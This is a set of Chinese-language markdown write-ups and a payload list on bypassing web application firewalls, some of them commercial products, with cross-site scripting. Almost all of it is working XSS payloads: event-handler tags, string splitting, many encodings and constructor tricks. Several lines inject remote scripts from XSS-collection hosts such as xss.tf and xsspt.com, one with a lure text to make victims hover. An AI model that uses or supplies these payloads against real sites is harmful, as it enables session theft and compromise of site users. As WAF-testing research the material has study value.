 86 | constructor是一个对象的属性，这个属性存在在此对象的prototype中, 指向此对象的构造函数。如果该对象是它自己呢?
 87 | 
 88 | ```constructor.constructor(alert(1))```
 89 | 
 90 | 成功触发xss
 91 | 
 92 | ![10](https://ws1.sinaimg.cn/large/005DAKuvgy1g20oq60wojj30vn09mq3p.jpg)
 93 | 
 94 | 如果constructor带入的是完整的函数，比如alert,prompt,confirm，那么不需要执行。怎么理解呢?
 95 | 
 96 | 在这个demo中，我们将函数拼接，注意后面()括号，它是有必要的。
 97 | 
 98 | ```constructor.constructor('al'%2b'ert(1)')()```
 99 | 
100 | 对于编码来说也是一样的，这里我们使用的是反引号，所以后面要跟着一对反引号。
101 | ```
102 | constructor.constructor`al\x65rt\x28/xss/\x29```
103 | ```
104 | 
105 | ### Waf测试
106 | - - -
107 | 首先，我们先拿来些常用标签看看，是否会被Waf拦截，如果这个标签一出现就拦截，那我们不必在此浪费时间。
108 | 
109 | Waf拦截了，也很正常，常见一些标签`<svg>` `<img>`基本不考虑。
110 | 
111 | ![11](https://ws1.sinaimg.cn/large/005DAKuvgy1g20pitr8x3j30vn07zjrt.jpg)
112 | 
113 | 找一些略微生僻的，例如```<input autofocus onfocus=alert(1)>```
114 | 
115 | ![12](https://ws1.sinaimg.cn/large/005DAKuvgy1g20puuqh9kj30vn04s74o.jpg)
116 | 
117 | 虽然拦截了，但是当我们把alert去掉后，就不拦截，说明这个标签可用。
118 | 
119 | ![13](https://ws1.sinaimg.cn/large/005DAKuvgy1g20px6nq6lj30vn04uq3a.jpg)
120 | 
121 | `alert`不行，可以考虑的有`prompt`，`confirm`，还有```window.onerror=alert;throw 1```这个在这里有些鸡肋不考虑。
122 | 
123 | 成功弹窗。
124 | 
125 | ![14](https://ws1.sinaimg.cn/large/005DAKuvgy1g20q4y8pftj30vn093751.jpg)
126 | 
127 | 下面给几个类似的，也都能绕过Waf
128 | ```php
129 | <details open ontoggle=prompt(1)>
130 | <button onfocus=prompt(1) autofocus>
131 | <select autofocus onfocus=prompt(1)>
132 | ```
133 | #### 反引号
134 | - - -
135 | 
136 | 存在alert函数，但是Waf并不拦截。
137 | 
138 | ![15](https://ws1.sinaimg.cn/large/005DAKuvgy1g20r5rwnwyj30vn04n0t4.jpg)
139 | 
140 | 但是当我们加上`()`括号，就拦截了。
141 | 
142 | ![16](https://ws1.sinaimg.cn/large/005DAKuvgy1g20r88lsw4j30vn07z3z0.jpg)
143 | 
144 | 回去查看Waf拦截记录，可以看出，是触发了某种规则。
145 | 
146 | ![17](https://ws1.sinaimg.cn/large/005DAKuvgy1g20re1issej30c80ae3yi.jpg)
147 | 
148 | 这个规则有个`缺陷`，alert函数后面带有`()`括号就拦截，那么如果我不用括号呢?我们不妨来试试`反引号`。
149 | 
150 | ```php
151 | <details/open/ontoggle="alert`1`">
152 | ```
153 | 
154 | ![18](https://ws1.sinaimg.cn/large/005DAKuvgy1g20rj1z6b3j30vn09cdgn.jpg)
155 | 
156 | 成功绕过，注意这里包括字符串的要用双引号，单引号会拦截。
157 | 
158 | ![19](https://ws1.sinaimg.cn/large/005DAKuvgy1g20ro44atcj30vn07y3z0.jpg)
159 | 
160 | #### 利用top
161 | - - -
162 | 前几篇文章介绍了top属性的知识，不拿来用对不起自己啊，上文使用反引号虽然绕过了waf，但是引入了双引号，如果过滤了双引号，该如何解决呢?
163 | 
164 | top可以连接一个函数，那么直接连接alert就行了，如果你看过上篇文章，其他的`self parent frames content window `都可以使用。
165 | 
166 | ```html
167 | <body onpageshow=top.alert`1`>
168 | ```
169 | 
170 | ![20](https://ws1.sinaimg.cn/large/005DAKuvgy1g20sep7j5xj30vn09jq3o.jpg)
171 | 
172 | 这样就可以摆脱使用双引号，当然如果过滤了`.` 你可以考虑url编码。
173 | 
174 | ```html
175 | <body onpageshow=top%2ealert`1`>
176 | ```
177 | #### 利用map
178 | 还记得map嘛?返回一个数组，传入一个函数，我们尝试一下能否绕过。
179 | 
180 | `[1].map(alert)`依赖map的特性，可以避免alert函数后面带有()括号，以此触发规则。
181 | 
182 | ![21](https://ws1.sinaimg.cn/large/005DAKuvgy1g20sxhhgamj30vn09kjs7.jpg)
183 | 
184 | 其他
185 | ```html
186 |   <details open ontoggle=[1].find(alert)>
187 |   <details open ontoggle=[1].%65very(alert)>
188 |   <details open ontoggle=[1].\u0066orEach(alert)>
189 | ```
190 | 
191 | #### 执行字符串
192 | - - -
193 | 在上文我说过，常见一些标签`<svg>`基本不考虑，那么现在你可以考虑了。为什么?听我细细(~~乱吹~~)详谈(~~凑字数~~)道来。
194 | 
195 | ![22](https://ws1.sinaimg.cn/large/005DAKuvgy1g20twsuplaj30ex0agjss.jpg)
196 | 
197 | 这个妥妥的拦截。
198 | 
199 | ![23](https://ws1.sinaimg.cn/large/005DAKuvgy1g20u9nopk5j30vn07y3yz.jpg)
200 | 
201 | 通过测试我们发现，alert后面不更()就不会拦截。
202 | 
203 | ![24](https://ws1.sinaimg.cn/large/005DAKuvgy1g20uicuvz3j30vn07ymxn.jpg)
204 | 
205 | 可是还是拦截了，推测是onload 事件的锅，那么换个事件*onmouseover* 就不拦截了。
206 | 
207 | ![25](https://ws1.sinaimg.cn/large/005DAKuvgy1g20ut9sseij30vn051jrq.jpg)
208 | 
209 | 问题来了，虽然*onmouseover*事件可以通过滑动鼠标来触发，如何执行*alert*呢?如果使用拼接的话，必然带()，比较难绕过。思来想去发现可以尝试用反引号。
210 | 
211 | ![26](https://ws1.sinaimg.cn/large/005DAKuvgy1g20vptexmsj30vn07zgm5.jpg)
212 | 
213 | 还是()的锅，不过setInterval不拦截的话，我们可以编码啊。
214 | 
215 | ```html
216 | <svg onmouseover=setInterval`al\x65rt\x28/xss/\x29```>
217 | ```
218 | 成功绕过。
219 | 
220 | ![27](https://ws1.sinaimg.cn/large/005DAKuvgy1g20vs1ujajj30vn09g752.jpg)
221 | 
222 | 执行字符串的可用`payload`：
223 | ```html
224 | <svg onmouseover=setTimeout`al\x65rt\x28/xss/\x29```>
225 | <svg onmouseover=Set.constructor`al\x65rt\x28/xss/\x29```>
226 | <svg onmouseover=\u0063lear.constructor`al\x65rt\x28/xss/\x29```>
227 | ```
228 | 
229 | #### 引用外部js
230 | - - -
231 | 用些生僻标签就可以，过多的花里胡哨反而难以绕过。
232 | 
233 | ![28](https://ws1.sinaimg.cn/large/005DAKuvgy1g20wug4o4nj30vn0anjsj.jpg)
234 | 
235 | ```html
236 | <input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
237 | <keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
238 | <textarea  autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
239 | ```
240 | 
241 | ### 参考致谢
242 | - - -
243 | * http://www.vulnerability-lab.com/resources/documents/531.txt
244 | * https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
245 | * https://www.t00ls.net/viewthread.php?tid=43475&highlight=%2B%E9%A3%8E%E5%9C%A8%E6%8C%87%E5%B0%96
246 | 
247 | 


--------------------------------------------------------------------------------
/waf/SafeDog.md:
--------------------------------------------------------------------------------
  1 |   最近在学习xss方面的知识，涉及到waf的测试，在这里做个记录，方面查阅。
  2 | 
  3 |   ## 0x00 搭建环境
  4 |   - - -
  5 |   本地搭建测试waf测试，xss相关防护规则全部开启。
  6 |   
  7 |  ![1](https://ws1.sinaimg.cn/large/005DAKuvgy1g1sv90art7j30l10c0myc.jpg)
  8 |  
  9 |   ## 0x01 Self-Xss绕过
 10 |   - - -
 11 | 
 12 |   测试脚本
 13 |   ```php
 14 |   <?php   
 15 |     $input = @$_REQUEST["xss"];
 16 |     echo "<div>".$input."</div>"
 17 |   ?>
 18 |   ```
 19 |   
 20 |   首先思路就是一些被waf**遗漏的标签**，暂时不考虑**编码**或者**拼接字符串**这类思路，我们直接拿来测试。   
 21 | 
 22 |   `<video src=1 onerror=alert(/xss/)>`绕过。
 23 |   
 24 |   ![2](https://ws1.sinaimg.cn/large/005DAKuvgy1g1tv4ytym1j30uj08lq3m.jpg)
 25 |   
 26 |   类似的标签还有`<audio src=x onerror=alert(/xss/)>`
 27 |   
 28 |   ![3](https://ws1.sinaimg.cn/large/005DAKuvgy1g1tv87ifeuj30uj0933z8.jpg)
 29 |   
 30 |   除此之外以下几个`payload`都可以绕过。
 31 |   ```javascript
 32 |   <body/onfocus=alert(/xss/)>
 33 |   <body onpageshow=alert(1)>
 34 |   <details open ontoggle=alert(/xss/)>
 35 |   <button onfocus=alert(/xss/) autofocus>
 36 |   
 37 |   ```
 38 |   利用**伪协议**
 39 |   
 40 |   waf拦截
 41 |   
 42 |   ![4](https://ws1.sinaimg.cn/large/005DAKuvgy1g1tvkcpm4uj30uj08174y.jpg)
 43 |   
 44 |   加上一个**xmlns属性**即可绕过
 45 |   
 46 |   ![5](https://ws1.sinaimg.cn/large/005DAKuvgy1g1tvojz1hmj30uj08kdgj.jpg)
 47 |   
 48 |   实际上，我测试的waf是免费使用的，所以有些厂商可以象征性的取一些样本，拦截一下常见的标签，如果你购买了厂商的高级服务，那我们绕过就有难度，然而大多数网站还是使用免费版的多。
 49 |   
 50 |   ## 拼接字符类
 51 |   - - -
 52 |   拼接字符串的话，一般把关键字拆分成几个字符串，再拼接执行，结合**top**,**concat**之类的。
 53 |   
 54 |   ### top对象
 55 |   - - -
 56 |   
 57 |   top输出字符
 58 |   
 59 |   ![6](https://ws1.sinaimg.cn/large/005DAKuvgy1g1uep4k2whj30ao097dfs.jpg)
 60 |   
 61 |   或者打印cookie
 62 |   
 63 |   ![7](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ueqqxro8j30f0091aa3.jpg)
 64 |   
 65 |   top可以连接`对象`以及`属性`或`函数`，那么我们可以做到很多，例如:
 66 |   
 67 |   直接top连接一个alert函数
 68 |   
 69 |   ![8](https://ws1.sinaimg.cn/large/005DAKuvgy1g1uewncru3j30x60duwem.jpg)
 70 |   
 71 |   `<details open ontoggle=top.alert(1)>`也可以绕过waf
 72 |   
 73 |   ![9](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ueypy79kj30uj093t9h.jpg)
 74 |   
 75 |   `top['alert'](1)`也可弹窗，但waf拦截
 76 |   
 77 |   ![10](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ufadg61cj30uj06vt95.jpg)
 78 |   
 79 |   绕过的话，很简单用`prompt`方法或者`confirm`都可以
 80 |   
 81 |   `<details open ontoggle=top['prompt'](1)>`
 82 |   
 83 |   ![11](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ufd5cic3j30uj08yaau.jpg)
 84 |   
 85 |   如果我说一定要用`alert`的话就要用到`接字符串`了。
 86 |   
 87 |   `<details open ontoggle=top['al'%2b'ert'](1)>` %2b为url编码的+
 88 |   
 89 |   ![12](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ufh1i5dkj30uj08jt9g.jpg)
 90 |   
 91 |   eval函数执行
 92 |   
 93 |   `<details open ontoggle=top.eval('ale'%2B'rt(1)') >`
 94 |   
 95 |   ![13](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ug4njpphj30uj090aau.jpg)
 96 |   
 97 |   eval直接用也可以弹
 98 |   
 99 |   `<details open ontoggle=eval('alert(1)') >`
100 |   
101 |   ![14](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ug8l4j2ej30uj08vjs5.jpg)
102 | 
103 |   这里为什么说到eval呢？因为如果eavl不拦截的话，我们可以测试各种编码，当然这是在牺牲长度的前提下。
104 |   
105 |   例如： `Unicode编码`
106 |   
107 |   `<details open ontoggle=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029') >`
108 |   
109 |   ![15](https://ws1.sinaimg.cn/large/005DAKuvgy1g1ugbw6c1gj30uj08ujs6.jpg)
110 |   
111 |   其他：
112 |   ```html
113 |   Base64编码：
114 |   <details open ontoggle=eval(atob('YWxlcnQoMSk=')) >
115 |   eval拦截的话，可以试试，把 e Unicode编码
116 |   <details open ontoggle=\u0065val(atob('YWxlcnQoMSk=')) >
117 |   url编码：  
118 |   <details open ontoggle=%65%76%61%6c(atob('YWxlcnQoMSk=')) >
119 |   url编码： 
120 |   <details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
121 |   JS8编码：
122 |   <details open ontoggle=eval('\141\154\145\162\164\50\61\51') >
123 |   Ascii码绕过：
124 |   <details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
125 |   其他自测
126 |   
127 |   ```
128 |   引用外部url，运用基于DOM的方法创建和插入节点把外部JS文件注入到网页。
129 |   ```html
130 |   <details open ontoggle=eval("appendChild(createElement('script')).src='http://xss.tf/eeW'") >
131 |   ```
132 |  ![16](https://ws1.sinaimg.cn/large/005DAKuvgy1g1uh5hp1a8j30uj0b1jsy.jpg)
133 |   
134 |   url编码
135 |   ```html
136 |   <details open ontoggle=eval(%61%70%70%65%6e%64%43%68%69%6c%64%28%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%29%2e%73%72%63%3d%27%68%74%74%70%3a%2f%2f%78%73%73%2e%74%66%2f%65%65%57%27) >
137 |   ```
138 |   ![17](https://ws1.sinaimg.cn/large/005DAKuvgy1g1uhaxb0t2j30uj09uwg1.jpg)
139 |   
140 |   ### window对象
141 |   - - -
142 |   
143 |   window和top类似，比如：
144 |   `<img src=x onerror=window.alert(1) >`
145 |   
146 |   拼接一样的
147 |   `<img src=x onerror=window['al'%2B'ert'](1) >`
148 |   
149 |   其他操作，参照上一章。
150 |   
151 |   
152 |   通过赋值，也是我们常见的，看个例子：
153 |   ```html
154 |   <img src=x onerror=_=alert,_(/xss/) >
155 |   <img src=x onerror=_=alert;_(/xss/) >
156 |   <img src=x onerror=_=alert;x=1;_(/xss/) >
157 |   ```
158 |   ![18](https://ws1.sinaimg.cn/large/005DAKuvgy1g1v3d5hdwmj30uj09m3za.jpg)
159 |   
160 |   短一点的`<body/onfocus=_=alert,_(123)>`
161 |   
162 |   ![18](https://ws1.sinaimg.cn/large/005DAKuvgy1g1v3l03yfxj30uj097mxw.jpg)
163 |   
164 |   函数赋值，也比较常见
165 |   ```
166 |   <body/onfocus="a=alert,a`/xss/`">
167 |   
168 |   ```
169 |   
170 |   ### concat()
171 |   - - -
172 |   
173 |   `concat方法`在实际应用中，不仅仅可以用于连接两个或多个数组，还可以合并两个或者多个字符串。
174 |   
175 |   ![19](https://ws1.sinaimg.cn/large/005DAKuvgy1g1v96uzg3zj30el07a3yk.jpg)
176 |   
177 |   例如： 
178 |   `<iframe onload=location='javascript:alert(1)'>`拦截
179 |   
180 |   ![20](https://ws1.sinaimg.cn/large/005DAKuvgy1g1v9q2svh3j30uj06tq3d.jpg)
181 |   
182 |   使用concat来拼接字符串`javascript:alert(1)`
183 |   
184 |   ```html
185 |   <iframe onload=location='javascri'.concat('pt:aler','t(1)')>
186 |   ```
187 |   
188 |   ![21](https://ws1.sinaimg.cn/large/005DAKuvgy1g1v9hzwbnbj30uj09gmxy.jpg)
189 |   
190 |   假设concat没被过滤，可以用来干扰waf判断
191 |   
192 |   ```html
193 |   <iframe onload=s=createElement('script');body.appendChild(s);s.src='http://x'.concat('ss.tf/','eeW'); >
194 |   ```
195 |   
196 |   ![22](https://ws1.sinaimg.cn/large/005DAKuvgy1g1va0g7u73j30uj0ai0u2.jpg)
197 |   
198 |   
199 |   如果concat被拦截，可以尝试编码
200 |   
201 |   ```html
202 |   <iframe onload=s=createElement('script');body.appendChild(s);s.src='http://x'.\u0063oncat('ss.tf/','eeW'); >
203 |   ```
204 |   
205 |   ### join()
206 |   - - -
207 |   join函数将数组转换成字符串
208 |   
209 |   ![23](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vbb5zfrdj30ck05t3yh.jpg)
210 |   
211 |   那么我们可以将一些关键字作为数组，再用join连接，转化成字符串。
212 |   
213 |   ```html
214 |   <iframe onload=location=['javascript:alert(1)'].join('')>
215 |   <iframe onload=location=['java','script:','alert(1)'].join('')>
216 |   ```
217 |   
218 |   ![24](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vbelprdpj30uj09gaav.jpg)
219 |   
220 |   ### document.write
221 |   - - -
222 |   document.write向页面输出内容。
223 |   
224 |   ![25](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vbz3gyc7j30ba07g0so.jpg)
225 |   
226 |   ![26](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vbzi317vj30e404owef.jpg)
227 |   
228 |   `<script>alert(1)</script>`Ascii编码
229 |    ```html
230 |    <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62)) >
231 |    ```
232 |    
233 |    ![27](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vceyzxrjj30uj09awfb.jpg)
234 |    
235 |    也可以直接插入js代码`<sCrIpt srC=http://xss.tf/eeW></sCRipT>`
236 |    
237 |    ```html
238 |    <body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,120,115,115,46,116,102,
239 | 47,101,101,87,62,60,47,115,67,82,105,112,84,62))>
240 |    ```
241 |   ![28](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vcldwwrrj30uj0a9ab8.jpg)
242 |   
243 |   ### setTimeout()
244 |   - - -
245 |   setTimeout('要执行的代码')
246 |   
247 |   ![29](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vcy5mqspj30i208r3ym.jpg)
248 |   
249 |   alert(1)编码，即可轻松绕过waf
250 |   ```html
251 |   <svg/onload=setTimeout('\141\154\145\162\164\50\61\51')>
252 |   <svg/onload=\u0073etTimeout('\141\154\145\162\164\50\61\51')>
253 |   <svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
254 |   <svg/onload=setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))>
255 |   ```
256 |   ![30](https://ws1.sinaimg.cn/large/005DAKuvgy1g1vd284ozcj30uj09ejs5.jpg)
257 | 
258 |   ### 杂谈
259 |   结合一些分割组合函数，再进行编码，尝试绕过waf，查看是否调用jquery框架。我也是刚刚学xss不久，难免有所出错，希望师傅指正。
260 |   
261 |   ### 参考致谢
262 |   `https://secvul.com/topics/259.html`
263 |   
264 |   `http://vinc.top/2014/11/13/绕过waf的姿势总结/`
265 |   
266 |   `https://www.t00ls.net/viewthread.php?tid=46056&highlight=攻破黑市之拿下吃鸡DNF等游戏钓鱼站群`
267 |   
268 | 


--------------------------------------------------------------------------------
/waf/Test.md:
--------------------------------------------------------------------------------
  1 | ### Test
  2 | 
  3 | 
  4 | ```html
  5 | top
  6 | self
  7 | parent
  8 | frames
  9 | content
 10 | windiow
 11 | <style onload=alert(1) />
 12 | <svg/onload=atob.constructor(atob`YWxlcnQoMSk=`)``>
 13 | <svg/onload=location=location.hash.substr(1)>#javascript:alert(1)
 14 | <svg/onload=eval(location.hash.slice(1))>#alert(1)
 15 | 阿里云 ：  <input %26%2362%3B onfocus="document.body.appendChild(createElement('script')).src='//xss.wtf/B6Bb'" autofocus>
 16 | <img src=x onerror=s=createElement('script');body.appendChild(s);s.src='xss.sb'; Style ="display:none;"> img隐藏Style ="display:none;"
 17 | <div onmouseover="!(function(){var s=document.createElement('script');document.getElementsByTagName('body')[0].appendChild(s);s.src='https://xsshs.cn/****';})()"> 留言字数超出限制,请点击内容查看全文</div> by：T-ice
 18 | <img src=1 a=al c=ert onerror=top[a%2bc](0)>
 19 | <img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
 20 | <details open ontoggle=top['al'%2B'ert'](1) >
 21 | <iframe src="javascript:%61%6c%65%72%74%28%31%29">
 22 |  <details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
 23 |   <details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
 24 |   
 25 | <img src=1 onerror=location="javascript:alert(1)">
 26 |   <details open ontoggle=top[/al/.source+/ert/.source](8);>
 27 | <svg/onload=location=`javas`%2b`cript:ale`%2b`rt%2`%2b`81%2`%2b`9` >
 28 | <img src="1" onerror=location="javascript:aler"%2b"t%2"%2b"81%2"%2b"9">
 29 | <img src=1 onerror=a="%2",location="javascript:aler"%2b"t"%2ba%2b"81"%2ba%2b"9">
 30 | 
 31 |   
 32 | <svg onload="javascript:window.onerror=alert;throw 1">
 33 | <svg onload="javascript:top.onerror=alert;throw 1">
 34 | <svg onload="javascript:parent.onerror=alert;throw 1">
 35 | <svg onload="javascript:self.onerror=alert;throw 1">
 36 | 使用 onerror来捕获异常
 37 | <svg onload="javascript:self.onerror=\u0061lert;throw 1">
 38 |   
 39 | IE:
 40 | <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';>
 41 | <body/onload=javascript:window.onerror=setTimeout;throw'=alert\50\51';>
 42 |   
 43 |   
 44 |   
 45 |  eval('ale'+'rt(0)');
 46 |  <body onpageshow=Function('ale'%2b'rt(1)')();>
 47 | window.onerror = function()
 48 | Function("ale"+"rt(1)")();
 49 | new Function`al\ert\`6\``;
 50 | javascript:[$,_]=(function()[_ for each(_ in ["alert",eval])])
 51 |   
 52 | constructor.constructor("aler"+"t(3)")();
 53 | [].filter.constructor('ale'+'rt(4)')();
 54 | 
 55 | top["al"+"ert"](5);
 56 | top[8680439..toString(30)](7);
 57 | top[/al/.source+/ert/.source](8);
 58 | top['al\x65rt'](9);
 59 | 
 60 | open('java'+'script:ale'+'rt(11)');
 61 | location='javascript:ale'+'rt(12)';
 62 | 
 63 | setTimeout`alert\u0028document.domain\u0029`;
 64 | setTimeout('ale'+'rt(2)');
 65 | setInterval('ale'+'rt(10)');
 66 | Set.constructor('ale'+'rt(13)')();
 67 | Set.constructor`al\x65rt\x2814\x29```;
 68 |   
 69 |   
 70 |   window['alert'](0)
 71 | parent['alert'](1)
 72 | self['alert'](2)
 73 | top['alert'](3)
 74 | this['alert'](4)
 75 | frames['alert'](5)
 76 | content['alert'](6)
 77 | 
 78 |   [7].map(self["\x61\x6c\x65\x72\x74"])
 79 |   
 80 | [7].map(alert)
 81 | [8].find(alert)
 82 | [9].every(alert)
 83 | [10].filter(alert)
 84 | [11].findIndex(alert)
 85 | [12].forEach(alert);
 86 |  
 87 |  鼠标移动：
 88 |  <svg/onmouseover=Set.constructor`al\x65rt\x28/xss/\x29```>
 89 |  onerror
 90 |  onload
 91 |   
 92 |   <details open ontoggle=['ale'%2b'rt'].map(top['ev'%2b'al'])[0]['valu'%2b'eOf']()(1)>
 93 |  <select autofocus onfocus="alert`1`">
 94 | <audio src onloadstart=alert(1)>
 95 |  <details/open/ontoggle="alert`1`">
 96 | <body onpageshow=Set.constructor`al\x65rt\x28/xss/\x29```>
 97 | <details open ontoggle=[1].map(alert)>
 98 |  <body onpageshow=top.alert`1`>
 99 | <keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xsspt.com/JUvhKT">
100 | <svg/onload=appendChild(createElement('script')).src='//mmme.me'>
101 |  
102 |  
103 |  
104 |  
105 |   xsschop: <noembed><img src="<noembed><iframe> onload=alert(1)" /></noembed> /*payload for \u2028\u2029 */
106 |  {{toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)}} /*payload for \u2028\u2029 */
107 | 
108 | 
109 |  <svg src=? onload="a(this);function a()(alert(document.cookie))">
110 |  <img  alt=al lang=ert  src=? onerror=top[alt%2blang]`0`>
111 |  <img src=?  onerror=_=prompt,_`?` >
112 |  <script>prompt`?`</script>
113 |  <script>alert`\`</script>
114 |  <script>alert`/`</script>
115 |  <svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1) 
116 |  
117 |  <svg  onmouseover=navigator.vibrate(prompt(1)) >
118 |  
119 |  
120 |  
121 |  
122 |  
123 |   
124 | ```
125 | 


--------------------------------------------------------------------------------
/waf/YunSuo.md:
--------------------------------------------------------------------------------
  1 | ## 前言
  2 | - - -
  3 | 对于我这个菜鸟来说，我通过谷歌百度学习到很多前辈的资料，甚至每句话都是他的指导，我也很感激前辈的为我们铺设的道路，让我们更快的成长起来。我也乐于分享，可能有些知识点过于单调或者久远，请见谅。
  4 | 
  5 | ## waf
  6 | - - -
  7 | 前几天花了10买了一个月的服务器，换个waf来测试。
  8 | ![1](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xeuqs6nwj30g60cgdge.jpg)   
  9 | 
 10 | ### Test
 11 | 
 12 | 遗漏标签就不测试了，上一篇[水文](https://www.anquanke.com/post/id/176185)的分享的标签也可以过，不信找几个试试= =
 13 | 
 14 | 好吧非常打脸，拦截了。
 15 | 
 16 | ![2](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xf5z6pwcj30uj0590t6.jpg)
 17 | 
 18 | 然而换个prompt()函数???免费版当然是这样的啦，高级服务不仅我买不起，还绕不过啊，而且我不是真正的站长，规则我也不会设啊，总之就是这也不会那也不会。
 19 | 
 20 | ![3](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xf9uioa9j30uj094wf8.jpg)
 21 | 
 22 | ![4](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xff076fvj30c80c874l.jpg)
 23 | 
 24 | ### Top属性类似的补充
 25 | - - -
 26 | 还记得上篇的top属性嘛
 27 | 
 28 | ![5](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xfxfayjoj30kg04ot8n.jpg)
 29 | 
 30 | 实际上可以利用的还有好几个，看到这里各位是否get到什么了。
 31 | 
 32 | ![6](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xju6slwuj30ub06raac.jpg)
 33 | 
 34 | 我们可以利用的类似拼接的对象又多了几个，例如：
 35 | ```html
 36 | //一家人就是要整整齐齐
 37 | <details open ontoggle=top['al'%2B'ert'](1) >
 38 | <details open ontoggle=self['al'%2B'ert'](1) >
 39 | <details open ontoggle=parent['al'%2B'ert'](1) >
 40 | <details open ontoggle=frames['al'%2B'ert'](1) >
 41 | <details open ontoggle=content['al'%2B'ert'](1) >
 42 | <details open ontoggle=window['al'%2B'ert'](1) >
 43 | ```
 44 | 这些都可以绕过waf，总结起来有 `top` `self` `parent` `frames` `content` `window`，无疑`top`是最短的，所谓短小精悍，这里借用PKAV的一张ppt。
 45 | 
 46 | ![7](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xkryc227j30fp073782.jpg)
 47 | 
 48 | ### 其他补充
 49 | 除了拆分构造，我们必须要了解还有编码，这个确实是老生常谈的话题，先看个例子吧
 50 | 
 51 | 将e字母url编码，成功弹窗也绕过waf。
 52 | `<details open ontoggle=top['al%65rt'](1) >`
 53 | ![11](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xte6v6ioj30uj07bwf4.jpg)
 54 | 
 55 | 其他编码
 56 | ```html
 57 | JS8编码：
 58 | <details open ontoggle=top['al\145rt'](1) >
 59 | <details open ontoggle=top['\141\154\145\162\164'](1) >
 60 | JS16编码：
 61 | <details open ontoggle=top['al\x65rt'](1) >
 62 | 其他
 63 | <details open ontoggle=top[/al/.source%2B/ert/.source](1) >
 64 | ```
 65 | ### parseInt()与toString()
 66 | - - -
 67 | **parseInt()**
 68 | 
 69 | ![12](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xw3xjyifj30nj0b1dga.jpg)
 70 | 
 71 | 例子: `alert`字符串用`parseInt函数`，以基数为30转化后为`8680439`
 72 | 
 73 | 
 74 | ![13](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xw6xbo82j30ff05tq2z.jpg)
 75 | 
 76 | **toString()**
 77 | 
 78 | 
 79 | ![14](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xwe1vapzj30g809z0sx.jpg)
 80 | 
 81 | 例子: `toString函数`将返回的数字`8680439`,以基数为30还原
 82 | 
 83 | ![15](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xwgo4zb3j30fl083wen.jpg)
 84 | 
 85 | 这样你就能理解下面这个例子了。
 86 | ```html
 87 | <details open ontoggle=top[8680439..toString(30)](1); >
 88 | <details open ontoggle=top[11189117..toString(32)](1); >
 89 | ```
 90 | ![16](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xwsdzqctj30uj0930tj.jpg)
 91 | 
 92 | ### 俩个例子
 93 | - - -
 94 | **例1**
 95 | ```html
 96 | <img src=1 alt=al lang=ert onerror=top[alt%2blang](0)>
 97 | ```
 98 | 这个例子很巧妙，将`alt`和`lang`属性分别赋值合并起来就是`alert`，并在top属性内将2个属性相加。
 99 | 
100 | 
101 | **例2**
102 | ```html
103 |  <details open ontoggle=top[a='al',b='ev',b%2ba]('alert(1)')>
104 | ```
105 | 在top属性内添加2个变量，并赋值构造eval，然后执行alert(1)
106 | 
107 | 测试下，拦截了。
108 | ![8](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xodipv2ej30uj05hmxm.jpg)
109 | 
110 | 其实waf拦截的是alert这个关键字，换个`prompt()`函数就过了
111 | 
112 | ![9](https://ws1.sinaimg.cn/large/005DAKuvgy1g1xoh9uty6j30uj086q3n.jpg)
113 | 
114 | 也可以选择将`alert(1)`编码，因为有eval存在啊，直接拿来用
115 | 
116 | ```html
117 | <details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))>
118 | <details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
119 | <details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')>
120 | ```
121 | 
